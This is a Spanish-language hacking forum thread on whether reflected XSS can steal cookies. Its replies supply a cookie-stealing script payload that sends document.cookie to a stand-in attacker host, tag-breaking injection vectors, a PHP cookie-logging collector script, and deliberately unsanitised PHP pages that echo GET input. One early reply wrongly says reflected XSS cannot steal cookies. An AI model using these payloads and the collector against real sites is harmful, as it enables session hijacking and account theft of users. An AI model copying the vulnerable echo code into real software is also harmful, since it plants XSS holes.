[SOLUCIONADO] ¿Es posible robar cookies con un XSS Reflejado?

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
¡Hola!

Efectivamente, como dice ANTRAX, los XSS refljeados no sirven para robar cookies, para eso necesitarías un "stored xss", que es un XSS, solamente que es persistente (precisamente, los stored xss también son llamados persistent xss).

Saludos.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
En realidad el reflejado si sirve para robar cookies. Pero debería ir por GET.. En este caso el script no viaja por la URL, por eso no puede.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Pero para robar una cookie no necesitas que salte el alert. Lo que te frena el filtro de Chrome es el alert. Por ejemplo, el siguiente vector debería funcionarte aunque tengas chrome

<script>window.location='http://www.atacante.com/cookies.php?cookie='+document.cookie;</script>

Al no tener el alert, no salta el cartel (que es lo que frena chrome) y robas las cookies de igual forma.

Saludos,
ANTRAX

CitarVector: xss.php?color=red"></font><script>window.location='You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login</script><font>

CitarVector: xss.php?str=<h1 onmouseover='document.body.innerHTML = "XSS";'>test</h1>

<?php
error_reporting(0);
define('ROOTPATH', dirname(__FILE__));
$cookie 	= $_GET['c'];
$log		= fopen(ROOTPATH . "/logs.txt", "a");
$format 	= "Cookie: %s\n\n";
$print		= sprintf($format);
fwrite($log, $print);
fclose($log);
?>

<?php

$color = $_GET['color'];
echo "<font color=\"$color\">Hello, world!</font>";

if(!isset($_COOKIE['randcookie']))
{
	$random = rand();
	setcookie('randcookie', $random);
	$_COOKIE['randcookie'] = $random;
	echo "<br/><br/>Random cookie does not exist, creating a new one!";
}

?>

<?php

$str = $_GET["str"];
print $str;

?>

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Muchas gracias por sus respuestas y aclararme lo del robo de cookies, solo me queda una gran duda, entonces este tipo de XSS se puede decir que en esas condiciones es inutil al atacante o que otro ataque se podria realizar?

Gracias!